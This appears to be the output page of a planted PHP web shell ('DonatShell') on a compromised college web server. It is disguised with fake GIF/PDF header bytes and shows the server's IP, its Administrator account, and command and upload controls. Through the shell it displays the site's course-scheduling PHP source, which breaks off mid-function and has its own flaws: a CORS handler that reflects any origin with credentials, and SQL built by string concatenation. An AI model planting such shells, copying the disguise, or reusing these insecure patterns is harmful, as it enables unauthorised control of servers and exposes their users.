GIF89a; %PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY Donat Was Here
DonatShell
Server IP : 134.29.175.74  /  Your IP : 216.73.216.160
Web Server : nginx/1.10.2
System : Windows NT CST-WEBSERVER 10.0 build 19045 (Windows 10) i586
User : Administrator ( 0)
PHP Version : 7.1.0
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  C:/nginx/html/common/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : C:/nginx/html/common/functions_site.phpinc
<?
// /common/functions_site.phpinc
// Contains common functions for the cst site.

// classCourseNumber($classId) ............................. Returns the course number for that classId.
// classDayTime($classId) .................................. Returns the class day and time in D h:mm apm-hh:mm apm format.
// classDays($weekdayResult,$class_weekdayResult) .......... Returns the class days.
// classDueDate($meetingTime,$startDate,$week,$day) ........ Returns the due date given a meeeting time, starting date, a week number, and an optional day offset.
// classWeekDate($startDateArray,$week,$day) ............... Returns the date given a starting date, a week number, and an optional day offset.
// classWeekDateCSS($startDate, $week, $day=0 , $note='') .. Returns the date with CSS given a starting date, a week number, and an optional day offset and note..
// classWeekDay(startDate,$day) ............................ Returns the day given a starting date and an optional day offset.
// classWeekDayCSS($startDate, $week, $day) ................ Returns the day with CSS given a starting date, a week and an optional day offset.

/**
 *	An example CORS-compliant method.	It will allow any GET, POST, or OPTIONS requests from any
 *	origin.
 *
 *	In a production environment, you probably want to be more restrictive, but this gives you
 *	the general idea of what is involved.	For the nitty-gritty low-down, read:
 *
 *	- https://developer.mozilla.org/en/HTTP_access_control
 *	- https://fetch.spec.whatwg.org/#http-cors-protocol
 *
 */
function allow_cors() {
		
		// Allow from any origin
		if (isset($_SERVER['HTTP_ORIGIN'])) {
				// Decide if the origin in $_SERVER['HTTP_ORIGIN'] is one
				// you want to allow, and if so:
				header("Access-Control-Allow-Origin: {$_SERVER['HTTP_ORIGIN']}");
//				header("Access-Control-Allow-Origin: *");
				header('Access-Control-Allow-Credentials: true');
				header('Access-Control-Max-Age: 86400');		// cache for 1 day
		}
		
		// Access-Control headers are received during OPTIONS requests
		if ($_SERVER['REQUEST_METHOD'] == 'OPTIONS') {
				
				if (isset($_SERVER['HTTP_ACCESS_CONTROL_REQUEST_METHOD']))
						// may also be using PUT, PATCH, HEAD etc
						header("Access-Control-Allow-Methods: GET, POST, OPTIONS");
				
				if (isset($_SERVER['HTTP_ACCESS_CONTROL_REQUEST_HEADERS']))
						header("Access-Control-Allow-Headers: {$_SERVER['HTTP_ACCESS_CONTROL_REQUEST_HEADERS']}");
//						header("Access-Control-Allow-Headers: *");
				exit(0);
		}
		//echo "You have CORS!";
} // END allow_cors

// assignmentLink($assignmentNumber, $updateDueDate, $postfixText)
// Return a link to the assignment and update due date.
function assignmentLink($assignmentNumber, $updateDueDate=true, $postfixText=false) {
	labLink($assignmentNumber, $updateDueDate, $postfixText, 'Assignments');
	return;
} // END assignmentLink.

// classCourseNumber($classId)
// Returns the course number for that classId.
// $classId = The classId to use for looking up the course number.
function classCourseNumber($classId) {
	$debug_backtrace = debug_backtrace(); $file = basename($debug_backtrace['0']['file']); $filepath = $debug_backtrace['0']['file']; $line = $debug_backtrace['0']['line']; global $TRACK;
	$query = "
 SELECT courseNumber
   FROM course
  INNER JOIN class ON course.courseId = class.courseId
  WHERE class.classId = ".$classId."
	";
	$courseResult = query_do($query);
	$courseCount = $_SESSION['qry']['count'];
	if ($courseCount) {
		$courseRow = mysqli_fetch_assoc($courseResult);
		$courseNumber = $courseRow['courseNumber'];
	} else {
		$courseNumber = "Unknown";
	}
	if (isset($GLOBALS['TRACK']) && $GLOBALS['TRACK'] != '') $_SESSION['TRACK'] .= '<li class="pv_f">function '."classCourseNumber($classId)=[$courseNumber]".'</li>'."\n";
	return $courseNumber;
} // END classCourseNumber.

// classDayTime($classId)
// Returns the class day and time in D h:mm apm-hh:mm apm format.
function classDayTime($classId) {
	$classDayTime = '';
	$query = "
			SELECT weekdayId,
						 weekday1,
						 weekday3,
						 weekday
				FROM `weekday`
		ORDER BY weekdayId
	";
	$weekdayResult = query_do($query);
	$weekdayResultCount = $_SESSION['qry']['count'];
	if ($weekdayResultCount) {
		$query = "
				SELECT classmeetingId,
							 classTimeStart,
							 classTimeStop,
							 classRoomBldg,
							 classRoomNumber
					FROM `classmeeting`
				 WHERE classId = ".$classId."
			ORDER BY classTimeStart, classTimeStop
		";
		#printVar('$query',$query,'q');
		$classmeetingResult = query_do($query);
		$classmeetingResultCount = $_SESSION['qry']['count'];
		if ($classmeetingResultCount) {
			mysqli_data_seek($classmeetingResult, 0);
			while ($classmeetingRow = mysqli_fetch_assoc($classmeetingResult)) {
				#printVar('$classmeetingRow',$classmeetingRow);
				// Get class days.
				$query = "
						SELECT weekdayId
							FROM `classmeeting_weekday`
						 WHERE classmeetingId = ".$classmeetingRow['classmeetingId']."
					ORDER BY weekdayId
				";
				$class_weekdayResult = query_do($query);
				$class_weekdayResultCount = $_SESSION['qry']['count'];
				if ( $class_weekdayResultCount ) {
					$classDayTime = trim(classDays($weekdayResult,$class_weekdayResult)).' '.valid_time($classmeetingRow['classTimeStart']).'-'.valid_time($classmeetingRow['classTimeStop']);
					#d_Var('classDays($weekdayResult,$class_weekdayResult)=',classDays($weekdayResult,$class_weekdayResult),'d');
				}
			} // while ($classmeetingRow = mysqli_fetch_assoc($classmeetingResult))
		}
	}
	#printVar('$classDayTime',$classDayTime);
	return $classDayTime;
} // END classDayTime.

// classDays($weekdayResult,$class_weekdayResult)
// Returns the class days.
function classDays($weekdayResult,$class_weekdayResult) {
	$days = '';
	if (mysqli_num_rows($class_weekdayResult)) {
		mysqli_data_seek($weekdayResult, 0);
		while ($weekdayRow = mysqli_fetch_assoc($weekdayResult)) {
			$day = ' ';
			mysqli_data_seek($class_weekdayResult, 0);
			while ($class_weekdayRow = mysqli_fetch_assoc($class_weekdayResult)) {
				if ( $weekdayRow['weekdayId'] == $class_weekdayRow['weekdayId'] ) $day = $weekdayRow['weekday1'];
			}
			$days .= $day;
		} // 
	} // 
	return $days;
} // END classDays.

// classDueDate($meetingTime,$startDate,$week,$day)
// Returns the due date given a meeeting time, starting date, a week number, and an optional day offset.
// Example: classDueDate('10:00am-11:001am','2007-01-22',1) returns "before 10:00am on Monday, January 22nd 2007".
function classDueDate($meetingTime, $startDate, $week, $day=0, $hour=0) {
	#if ( $_SESSION['userId'] == 1 ) { $DEBUG_classDueDate = true; } //  && $week == 16
	if ( !isset( $DEBUG_classDueDate) ) {  $DEBUG_classDueDate = false; }
	$debug_backtrace = debug_backtrace(); $file = basename($debug_backtrace['0']['file']); $filepath = $debug_backtrace['0']['file']; $line = $debug_backtrace['0']['line']; global $TRACK;
	if (is_array($meetingTime)) $meetingTime = $meetingTime[0];
	if (is_array($startDate)) $startDate = $startDate[0];
	// A week = 60*60*24*7 = 604800. A day = 60*60*24 = 86400.
	//echo "<b>".$meetingTime."</b><br>\n";
	#$startDate = $startDateArray[count($startDateArray)-1];
	if ( $DEBUG_classDueDate ) { d_Var('$meetingTime',$meetingTime,'d'); }
	if ($meetingTime != 'START-END' && $meetingTime != 0) {
		#printVar('$meetingTime',$meetingTime);
		#printVar('$startDate',$startDate);
		$DueDate = strtotime($startDate)+($week-1)*604800+$day*86400+43200; // Added half a day (43200) to stop math errors.
		$GLOBALS['DueDateTime'] = date('Y-m-d ',$DueDate);
		#d_Var('$meetingTime',$meetingTime,'d');
		#d_Var("preg_replace('/-.*$/',\"\",$meetingTime)",preg_replace('/-.*$/',"",$meetingTime),'d');+$hour*3600
		$DueTime = preg_replace('/-.*$/',"",$meetingTime);
		$time = valid_time($DueTime,'24');
		if ($hour != 0) {
//			d_Var("hour",$hour,'d');
//			d_Var("meetingTime",$meetingTime,'d');
//			d_Var("time",$time,'d');
//			d_Var("DueTime",$DueTime,'d');
			[$dHour, $dMin] = explode(':',$time);
//			d_Var("dHour",$dHour,'d');
			$dHour += $hour;
//			d_Var("dHour",$dHour,'d');
			$time = $dHour . ':' . $dMin;
//			d_Var("time",$time,'d');
			$time = valid_time($time);
//			d_Var("time",$time,'d');
			$DueTime = ' '.str_replace(' ','',$time);
//			d_Var("DueTime",$DueTime,'d');
		}
		if ( stripos($DueTime,'p') !== false ) {
			$addTime = 12;
		} else {
			$addTime = 0;
		}
		$DueTime = explode(':',str_replace(array('am','pm'),'',$DueTime));
		$DueTime[0] += $addTime;
		#d_Var('$DueTime',$DueTime,'d');
		$GLOBALS['DueDateTime'] .= $DueTime[0].':'.$DueTime[1].':00';
		if ($_SESSION['userId']==1) {
			#d_Var("\$GLOBALS['DueDateTime']",$GLOBALS['DueDateTime'],'d');
		}
		if ($meetingTime == 1) {
			#$classDueDate = 'before '.date("l, F jS, Y",$DueDate);		} elseif ($meetingTime == -1) {
			#$classDueDate = 'by end of day on '.date("l, F jS, Y",$DueDate);		} else {
			$classDueDate = 'before '.preg_replace('/-.*$/',"",$meetingTime).' on '.date("l, F jS, Y",$DueDate);
		} else {
			$classDueDate = 'before '.preg_replace('/-.*$/',"",$meetingTime).' on '.date("l, F jS, Y",$DueDate);
		}
	} else {
		$GLOBALS['DueDateTime'] = '';
		if ($startDate == '' || $startDate == 'STARTDATE') {
			$classDueDate = 'by week '.$week;
		} else {
			$classDueDate = 'before '.date("l, F jS, Y",$DueDate);
		}
	}
	$currentWeek = $GLOBALS['week'];
	if ( $week > $currentWeek + 1) {
		$weekDiff = $week - $currentWeek;
		$classDueDate .= ' ('.$weekDiff.' weeks)';
	}
	if (isset($GLOBALS['TRACK']) && $GLOBALS['TRACK'] != '') $_SESSION['TRACK'] .= '<li class="pv_f">function '."classDueDate($meetingTime,$startDate,$week,$day)=[$classDueDate]".'</li>'."\n";
	return $classDueDate;
} // END classDueDate.

// classWeekDate($startDateArray,$week,$day)
// Returns the date given a starting date, a week number, and an optional day offset.
// Example: classWeekDate('2007-01-22',1) returns "Monday, January 22nd 2007".
function classWeekDate($startDate,$week,$day=0,$showWeek=true) {
	$debug_backtrace = debug_backtrace(); $file = basename($debug_backtrace['0']['file']); $filepath = $debug_backtrace['0']['file']; $line = $debug_backtrace['0']['line']; global $TRACK;
	$classWeekDate = '';
	if (!is_array($startDate)) {
		$classDate = strtotime($startDate)+($week-1)*604800+$day*86400+43200; // Added half a day (43200) to stop math errors.
		$classWeekDate = listAppend($classWeekDate,date("l, F jS, Y",$classDate),";");
	} else {
		foreach ($startDate as $thisDate) {
			$classDate = strtotime($thisDate)+($week-1)*604800+$day*86400+43200; // Added half a day (43200) to stop math errors.
			$classWeekDate = listAppend($classWeekDate,date("l, F jS, Y",$classDate),";");
		}
	}
	#echo "\$classWeekDate=".$classWeekDate."<br>\n";
	$datetime = getdate();
	$currentDate = strtotime($datetime['year']."-".twoDigit($datetime['mon'])."-".twoDigit($datetime['mday']));
	$satDate = $currentDate-($datetime['wday']!=6?$datetime['wday']+1:0)*86400;
	$friDate = $currentDate+($datetime['wday']!=6?5-$datetime['wday']:6)*86400+86399;
	/* *-/
	echo "\$classDate=".$classDate."<br>\n";
	echo "\$datetime="; print_r($datetime); echo "<br>\n";
	echo "\$currentDate=".$currentDate."<br>\n";
	echo "\$satDate=".$satDate."<br>\n";
	echo "\$friDate=".$friDate."<br>\n";
	/* */
	$classWeekDate = listAnd($classWeekDate,";");
	if ( $showWeek ) $classWeekDate .= ' <span class="small">(Week '.$week.')</span>';
	if (isset($GLOBALS['TRACK']) && $GLOBALS['TRACK'] != '') $_SESSION['TRACK'] .= '<li class="pv_f">function '."classWeekDateCSS($startDate,$week,$day=0)=[$classWeekDate]".'</li>'."\n";
	return $classWeekDate;
} // END classWeekDate.

// classWeekDateCSS($startDate, $week, $day=0, $note='')
// Returns the date with CSS given a starting date, a week number, and an optional day offset and note.
function classWeekDateCSS($startDate, $week, $day=0, $note='',$days=7) {
	#if ( is_array($startDate) ) sort($startDate);
	#d_Var('$startDate',$startDate,'d');
	$debug_backtrace = debug_backtrace(); $file = basename($debug_backtrace['0']['file']); $filepath = $debug_backtrace['0']['file']; $line = $debug_backtrace['0']['line']; global $TRACK;
	$classWeekDate = '';
	$classWeekNote = '';
	#if ( $week == 14 && $_SESSION['userId'] == 1 ) { d_Var("\$GLOBALS['SchoolCalendar']",$GLOBALS['SchoolCalendar'],'d'); }
	if ( ( !is_array($startDate) && ( $startDate == '' || $startDate == 'STARTDATE' ) ) || ( is_array($startDate) && ( $startDate[0] == '' || $startDate[0] == 'STARTDATE' ) ) ) {
		$classWeekDateCSS = '<span class="classDate"> Week '.$week.'</span>';
	} else {
		if ( !is_array($startDate) ) { // Is $startDate not an array?
			// $startDate is not an array.
			$classDate = strtotime($startDate)+($week-1)*604800+$day*86400+43200; // Added half a day (43200) to stop math errors.
			$date = date("Y-m-d",$classDate);
			#if ( $week == 14 && $_SESSION['userId'] == 1 ) { d_Var('$date',$date,'d'); }
			$classWeekDate = listAppend($classWeekDate,date("l, F jS, Y",$classDate),";");
			if ( isset($GLOBALS['SchoolCalendar'][$date]) && ( $GLOBALS['SchoolCalendar'][$date]['Status'] == 'School closed' || $GLOBALS['SchoolCalendar'][$date]['Status'] == 'No classes' ) ) {
				$classWeekNote .= '<span class="attention nowrap">No class meeting this week.</span> (<b>'.$GLOBALS['SchoolCalendar'][$date]['Status'].'</b>: '.$GLOBALS['SchoolCalendar'][$date]['Note'].')';
			}
			if ( $note != '' ) {
				$classWeekNote .= ' '.$note;
			}
		} else { // Is $startDate not an array?
			// $startDate is an array.
			#d_Var('$startDate',$startDate,'d');
			$sortedDate = $startDate;
			sort($sortedDate);
			$NoClassMeetingCount = 0;
			$prefix = '';
			for ( $i=0; $i<count($sortedDate); $i++ ) {
				$classDate = strtotime($sortedDate[$i])+($week-1)*604800+$day*86400+43200; // Added half a day (43200) to stop math errors.
				#echo "$i \$classDate=".$classDate." ".(date('Y-m-d',$classDate))."<br>\n";
				$date = date("Y-m-d",$classDate);
				if ( $_SERVER['REMOTE_ADDR'] == 'x134.29.173.70' ){
					d_Var('$date',$date,'d');
					@d_Var("\$GLOBALS['SchoolCalendar'][$date]",$GLOBALS['SchoolCalendar'][$date],'d');
				}
				if ( isset($GLOBALS['SchoolCalendar'][$date]) && ( $GLOBALS['SchoolCalendar'][$date]['Status'] == 'School closed' || $GLOBALS['SchoolCalendar'][$date]['Status'] == 'No classes' ) ) {
					$NoClassMeetingCount++;
				}
				if ( $i < $days ) { $classWeekDate = listAppend($classWeekDate,date("l, F jS, Y",$classDate),";"); }
				if ( $prefix == '') { $prefix = ', '; } else { $prefix = ', and '; }
			}
			if ( $_SERVER['REMOTE_ADDR'] == 'x134.29.173.70' ){
				d_Var('NoClassMeetingCount',$NoClassMeetingCount,'d');
				d_Var('count(sortedDate)',count($sortedDate),'d');
				#d_Var("\$GLOBALS['SchoolCalendar']",$GLOBALS['SchoolCalendar'],'d');
			}
			if ( $NoClassMeetingCount == count($sortedDate) ) {
				$classWeekNote .= ' (<b>'.$GLOBALS['SchoolCalendar'][$date]['Status'].'</b>: '.$GLOBALS['SchoolCalendar'][$date]['Note'].') <span class="attention nowrap">No class meetings this week.</span>';
			}
			if ( $note != '' ) {
				$classWeekNote .= ' '.$note;
			}
		} // Is $startDate not an array?
		#echo "\$classWeekDate=".$classWeekDate."<br>\n";
		$datetime = getdate();
		#echo "\$datetime="; print_r($datetime); echo "<br>\n";
		#echo "\$classDate=".$classDate." ".(date('Y-m-d',$classDate))."<br>\n";
		$currentDate = strtotime($datetime['year']."-".twoDigit($datetime['mon'])."-".twoDigit($datetime['mday']));
		#echo "\$currentDate=".$currentDate." ".(date('Y-m-d',$currentDate))."<br>\n";
		$satDate = $currentDate-($datetime['wday']!=6?$datetime['wday']+1:0)*86400;
		#echo "\$satDate=".$satDate." ".(date('Y-m-d',$satDate))."<br>\n";
		$friDate = $satDate + 6*86400;//$currentDate+($datetime['wday']!=6?5-$datetime['wday']:6)*86400+86399;
		#echo "\$friDate=".$friDate." ".(date('Y-m-d',$friDate))."<br>\n";
		$classWeekDate = listAnd($classWeekDate,";");
		if ( $classDate < $currentDate ) {
			$classWeekDateCSS = '<span class="classDatePast">'.$classWeekDate.'</span>';
		} elseif ( $classDate < $satDate || $classDate > $friDate ) {
			$classWeekDateCSS = '<span class="classDate">'.$classWeekDate.'</span>';
		} else {
			$classWeekDateCSS = '<span class="classDateToday">'.$classWeekDate.'</span>';
		}
	}
	$classWeekDateCSS .= $classWeekNote;
	#if (isset($GLOBALS['TRACK']) && $GLOBALS['TRACK'] != '') $_SESSION['TRACK'] .= '<li class="pv_f">function '."classWeekDateCSS($startDate,$week,$day=0)=[$classWeekDateCSS]".'</li>'."\n";
	#$classWeekDateCSS .= ' $classDate='.$classDate.' $currentDate='.$currentDate.' $satDate='.$satDate.' $friDate='.$friDate;
	return $classWeekDateCSS;
} // END classWeekDateCSS.

// classWeekDay(startDate,$day)
// Returns the day given a starting date and an optional day offset.
// Example: classWeekDay('2007-01-22') returns "Monday".
// Example: classWeekDay('2007-01-22',2) returns "Wednesday".
function classWeekDay($startDate,$day=0) {
	$debug_backtrace = debug_backtrace(); $file = basename($debug_backtrace['0']['file']); $filepath = $debug_backtrace['0']['file']; $line = $debug_backtrace['0']['line']; global $TRACK;
	$classWeekDate = '';
	if (!is_array($startDate)) {
		$classDate = strtotime($startDate);
		$classWeekDate = listAppend($classWeekDate,date("l",$classDate),";");
	} else {
		foreach ($startDate as $thisDate) {
			$classDate = strtotime($thisDate); // Added half a day (43200) to stop math errors.
			$classWeekDate = listAppend($classWeekDate,date("l",$classDate),";");
		}
	}
	#echo "\$classWeekDate=".$classWeekDate."<br>\n";
	$datetime = getdate();
	$currentDate = strtotime($datetime['year']."-".twoDigit($datetime['mon'])."-".twoDigit($datetime['mday']));
	$satDate = $currentDate-($datetime['wday']!=6?$datetime['wday']+1:0)*86400;
	$friDate = $currentDate+($datetime['wday']!=6?5-$datetime['wday']:6)*86400+86399;
	/* *-/
	echo "\$classDate=".$classDate."<br>\n";
	echo "\$datetime="; print_r($datetime); echo "<br>\n";
	echo "\$currentDate=".$currentDate."<br>\n";
	echo "\$satDate=".$satDate."<br>\n";
	echo "\$friDate=".$friDate."<br>\n";
	/* */
	$classWeekDate = listAnd($classWeekDate,";");
	if (isset($GLOBALS['TRACK']) && $GLOBALS['TRACK'] != '') $_SESSION['TRACK'] .= '<li class="pv_f">function '."classWeekDateCSS($startDate,$day=0)=[$classWeekDate]".'</li>'."\n";
	return $classWeekDate;
} // END classWeekDay.

// classWeekDayCSS($startDate, $week, $day)
// Returns the day with CSS given a starting date, a week and an optional day offset.
function classWeekDayCSS($startDate, $week, $day=0) {
	#d_Var('$startDate',$startDate,'d');
	$debug_backtrace = debug_backtrace(); $file = basename($debug_backtrace['0']['file']); $filepath = $debug_backtrace['0']['file']; $line = $debug_backtrace['0']['line']; global $TRACK;
	$classWeekDate = '';
	if ( $startDate == '' || $startDate == 'STARTDATE' ) {
		$classWeekDateCSS = '<span class="classDate"> Week '.$week.'</span>';
	} else {
		$classDate = strtotime($startDate)+($week-1)*604800+$day*86400+43200; // Added half a day (43200) to stop math errors.
		$classWeekDate = date("l",$classDate);
		$classDate = date("Y-m-d",$classDate);
		$datetime = getdate();
		$currentDate = $datetime['year']."-".twoDigit($datetime['mon'])."-".twoDigit($datetime['mday']);
		//$satDate = $currentDate-($datetime['wday']!=6?$datetime['wday']+1:0)*86400;
		//$friDate = $currentDate+($datetime['wday']!=6?5-$datetime['wday']:6)*86400+86399;
		//$classWeekDate = listAnd($classWeekDate,";");
		if ( $classDate < $currentDate ) {
			$classWeekDateCSS = '<span class="classDatePast">'.$classWeekDate.'</span>';
		} elseif ( $classDate == $currentDate ) {
			$classWeekDateCSS = '<span class="classDateToday">'.$classWeekDate.'</span>';
		} else {
			$classWeekDateCSS = '<span class="classDate">'.$classWeekDate.'</span>';
		}
	}
	//if (isset($GLOBALS['TRACK']) && $GLOBALS['TRACK'] != '') $_SESSION['TRACK'] .= '<li class="pv_f">function '."classWeekDateCSS($startDate,$week,$day=0)=[$classWeekDateCSS]".'</li>'."\n";
	return $classWeekDateCSS;//.' ['.$classDate.' '.$currentDate.']';
}

function classWeekDayLocation($startDate, $week, $day=0, $ShowClassBroadcastLink = true) {
	$currentDate = date("Y-m-d");
	$classDate = 'none';
	if ( $startDate == '' || $startDate == 'STARTDATE' ) {
		$classWeekDayLocation = '<span class="classDate"> Week '.$week.'</span>';
	} else {
		$weekAdd = $week - 1;
		if ( !$day ) {
			$classDate = date('Y-m-d', strtotime('+'.$weekAdd.' weeks', strtotime($startDate)));
		} else {
			$classDate = date('Y-m-d', strtotime('+'.$weekAdd.' weeks '.$day.' days', strtotime($startDate)));
		}
		#d_Var("\$GLOBALS['InstructorCalendar'][$classDate]",$GLOBALS['InstructorCalendar'][$classDate],'',false,true);
		if ( !isset($GLOBALS['SchoolCalendar'][$classDate]) || $GLOBALS['SchoolCalendar'][$classDate]['Status'] == '' ) {
			// Instructor location.
			if ( isset($GLOBALS['InstructorCalendar'][$classDate]) && $GLOBALS['InstructorCalendar'][$classDate]['Location'] != '' ) {
				// Instructor has location.
				if ( $ShowClassBroadcastLink ) {
					$ClassBroadcastShortLink = true;
					$ClassBroadcastText = 'join the Zoom web meeting';
					$ClassBroadcastReturn = true;
					//include ($GLOBALS['Instructor']['Path'].'/WebMeetingLink.phpinc');
					//echo "<br>\n";
				}
				switch ( $GLOBALS['InstructorCalendar'][$classDate]['Location'] ) {
					case 'Hutchinson':
					case 'Willmar':
					if ( $classDate < $currentDate ) {
						// Past
						$classWeekDayLocation = ' I was in '.$GLOBALS['InstructorCalendar'][$classDate]['Location'].'.';
					} elseif ( $classDate > $currentDate ) {
						// Future.
						$classWeekDayLocation = ' <b>I will be in '.$GLOBALS['InstructorCalendar'][$classDate]['Location'].'</b>.';
						if ( $ShowClassBroadcastLink ) $classWeekDayLocation .= '<br>Students in other locations will need to '.$ClassBroadcastText.'.';
					} else {
						// Now.
						$classWeekDayLocation = ' <b>I am in '.$GLOBALS['InstructorCalendar'][$classDate]['Location'].'</b>.';
						if ( $ShowClassBroadcastLink ) $classWeekDayLocation .= '<br>Students in other locations need to '.$ClassBroadcastText.'.';
					}
				break;
					case 'Off campus':
					if ( $classDate < $currentDate ) {
						// Past
						$classWeekDayLocation = ' I was '.$GLOBALS['InstructorCalendar'][$classDate]['Location'].'.';
					} elseif ( $classDate > $currentDate ) {
						// Future.
						$classWeekDayLocation = ' <b>I will be '.$GLOBALS['InstructorCalendar'][$classDate]['Location'].'</b>.';
						if ( stripos($GLOBALS['InstructorCalendar'][$classDate]['Note'],'sick') === false && stripos($GLOBALS['InstructorCalendar'][$classDate]['Note'],'no class') === false && $ShowClassBroadcastLink ) {
							$classWeekDayLocation .= ' Students will need to '.$ClassBroadcastText.'.';
						}
					} else {
						// Now.
						$classWeekDayLocation = ' <b>I am '.$GLOBALS['InstructorCalendar'][$classDate]['Location'].'</b>.';
						if ( stripos($GLOBALS['InstructorCalendar'][$classDate]['Note'],'sick') === false && stripos($GLOBALS['InstructorCalendar'][$classDate]['Note'],'no class') === false && $ShowClassBroadcastLink ) {
							$classWeekDayLocation .= ' Students need to '.$ClassBroadcastText.'.';
						}
					}
				break;
				}
			} else {
				// Instructor does not have location.
				$classWeekDayLocation = '';
			}
		} else {
			// School status.
			$classWeekDayLocation = ' <b>'.$GLOBALS['SchoolCalendar'][$classDate]['Status'].'</b> '.$GLOBALS['SchoolCalendar'][$classDate]['Note'];
		}
	}
	#if ( $_SESSION['userId'] == 1 ) $classWeekDayLocation .= '<br>classDate='.$classDate.' currentDate='.$currentDate;
	if ( $ShowClassBroadcastLink ) {
		$classWeekDayLocation .= '<br>It is a good idea to login to <a href="https://minnstate.zoom.us/">Zoom</a> before joining the meeting.';
	}
	return $classWeekDayLocation;//.' '.$classDate;
}

function classWeekShowHideClass($startDate,$week,$day=0) {
	if ( !isset($GLOBALS['showAllWeeks']) ) { $showAllWeeks = false; } else { $showAllWeeks = $GLOBALS['showAllWeeks']; }
	if ( !is_array($startDate) ) {
		$startDate = array($startDate,$startDate);
	}
	if ( $startDate[0] == '' || $startDate[0] == 'STARTDATE' ) {
		$classWeekShowHideClass = '';
	} else {
		$sDate = $startDate[0];
		$sDateTime = new DateTime($sDate);
		$sWeek = $sDateTime->format("W");
		#d_Var('$sWeek',$sWeek,'d');
		$currentDate = date("Y-m-d");
		#d_Var('$currentDate',$currentDate,'d');
		$currentDateTime = new DateTime($currentDate);
		$currentWeek = $currentDateTime->format("W") - $sWeek + 1;
		
		#$currentDate = date("Y-m-d");
		#$currentDateTime = new DateTime($currentDate);
		#$currentWeek = $currentDateTime->format("W");
		#$weekAdd = $week - 1;
		#$classWeekTime = new DateTime(date('Y-m-d', strtotime('+'.$weekAdd.' weeks', strtotime($startDate[0]))));
		#$classWeek =  $classWeekTime->format("W");
		$classShow = "normal";
		$classDate = strtotime($startDate[0])+($week-1)*604800+$day*86400+43200; // Added half a day (43200) to stop math errors.
		$date = date("Y-m-d",$classDate);
		if ( isset($GLOBALS['SchoolCalendar'][$date]) && ( $GLOBALS['SchoolCalendar'][$date]['Status'] == 'School closed' || $GLOBALS['SchoolCalendar'][$date]['Status'] == 'No classes' ) ) {
			$classShow = "hidden";
		}
		if ( $week < $currentWeek || !$showAllWeeks && $week > $currentWeek +1 ) {
			$classShow = "hidden";
		}
		/** /
		if ( $currentWeek == $classWeek || $currentWeek + 1 == $classWeek ) {
			// Now or Soon.
			$classWeekShowHideClass = ' id="week_'.$week.'" class="normal"';
		} else {
			// Past or Future
			$classWeekShowHideClass = ' id="week_'.$week.'" class="hidden"';
		}
		/**/
		if ( !isset($GLOBALS['LOCK_BELOW']) ) $GLOBALS['LOCK_BELOW'] = 99;
		if ( $GLOBALS['LOCK_BELOW'] < $week ) {
			$classShow = "hidden";
		}
		$classWeekShowHideClass = ' id="week_'.$week.'" class="'.$classShow.'"';
	}
	return $classWeekShowHideClass;
}

// classWeekShowHideUL($startDate,$week,$day=0)
// 
function classWeekShowHideUL($startDate,$week,$day=0) {
	#d_Var('$week',$week,'d/');
	#d_Var('$startDate[0]',$startDate[0],'d');
	if ( !isset($GLOBALS['showAllWeeks']) ) { $showAllWeeks = false; } else { $showAllWeeks = $GLOBALS['showAllWeeks']; }
	if ( !is_array($startDate) ) {
		$startDate = array($startDate,$startDate);
	}
	if ( $startDate[0] == '' || $startDate[0] == 'STARTDATE' ) {
		$classWeekShowHideUL = '';
	} else {
		$sDate = $startDate[0];
		$sDateTime = new DateTime($sDate);
		$sWeek = $sDateTime->format("W");
		#d_Var('$sWeek',$sWeek,'d');
		$currentDate = date("Y-m-d");
		#d_Var('$currentDate',$currentDate,'d');
		$currentDateTime = new DateTime($currentDate);
		$currentWeek = $currentDateTime->format("W") - $sWeek + 1;
		#d_Var('$currentWeek',$currentWeek,'d');
		#$weekAdd = $week - 1;
		#$classWeekTime = new DateTime(date('Y-m-d', strtotime('+'.$weekAdd.' weeks', strtotime($startDate[0]))));
		#$classWeek =  $classWeekTime->format("W");
		//d_Var('$classWeek',$classWeek,'d');
		$classShow = 'onclick="weekHide(this);" value="Hide week '.$week.'"';
		$classDate = strtotime($startDate[0])+($week-1)*604800+$day*86400+43200; // Added half a day (43200) to stop math errors.
		$date = date("Y-m-d",$classDate);
		if ( isset($GLOBALS['SchoolCalendar'][$date]) && ( $GLOBALS['SchoolCalendar'][$date]['Status'] == 'School closed' || $GLOBALS['SchoolCalendar'][$date]['Status'] == 'No classes' ) ) {
			$classWeekShowHideUL = '';
		} else {
			if ( !$showAllWeeks && ( $week < $currentWeek || $week > $currentWeek + 1 ) ) {
				$classShow = 'onclick="weekShow(this);" value="Show week '.$week.'"';
			}
			#d_Var('$classShow',$classShow,'d');
			if ( !isset($GLOBALS['LOCK_BELOW']) ) $GLOBALS['LOCK_BELOW'] = 99;
			$disabledControl = '';
			$disabledClass = '';
			//d_Var("\$GLOBALS['LOCK_BELOW']",$GLOBALS['LOCK_BELOW'],'d/');
			if ( !$showAllWeeks && $GLOBALS['LOCK_BELOW'] < $week ) {
				$classShow = 'onclick="weekShow(this);" value="Show week '.$week.' locked"';
				$disabledClass = ' disabled';
				if ( $_SESSION['userId'] != 1 && $_SESSION['userId'] != 1688 ) { $disabledControl = ' disabled'; }
			}
			#d_Var('$classShow',$classShow,'d');
			$classWeekShowHideUL = ' <input type="button" id="weekControl_'.$week.'" class="small'.$disabledClass.'" '.$classShow.$disabledControl.'>';
		}
	}
	return $classWeekShowHideUL;
} // END classWeekShowHideUL.

// courseDeptNumber($courseNumber)
// Returns an array with [0]=department and [1]=number.
// $courseNumber = the course number to parse.
function courseDeptNumber($courseNumber) {
	$debug_backtrace = debug_backtrace(); $file = basename($debug_backtrace['0']['file']); $filepath = $debug_backtrace['0']['file']; $line = $debug_backtrace['0']['line']; global $TRACK;
	$courseDeptNumber = array(strtoupper(preg_replace('/[0-9]/',"",$courseNumber)),preg_replace('/[A-Za-z]/',"",$courseNumber	));
	if (isset($GLOBALS['TRACK']) && $GLOBALS['TRACK'] != '') { $_SESSION['TRACK'] .= '<li class="pv_f">function '."courseDeptNumber($courseNumber)=Array "; foreach($courseDeptNumber as $key=>$value) { $_SESSION['TRACK'] .= "[$key]=$value "; } $_SESSION['TRACK'] .= '</li>'."\n"; }
	return $courseDeptNumber;
}

// courseDirectoryFound($courseNumber,$directory)
// Return directory listing for course number.
function courseDirectoryFound($courseNumber,$directory) {
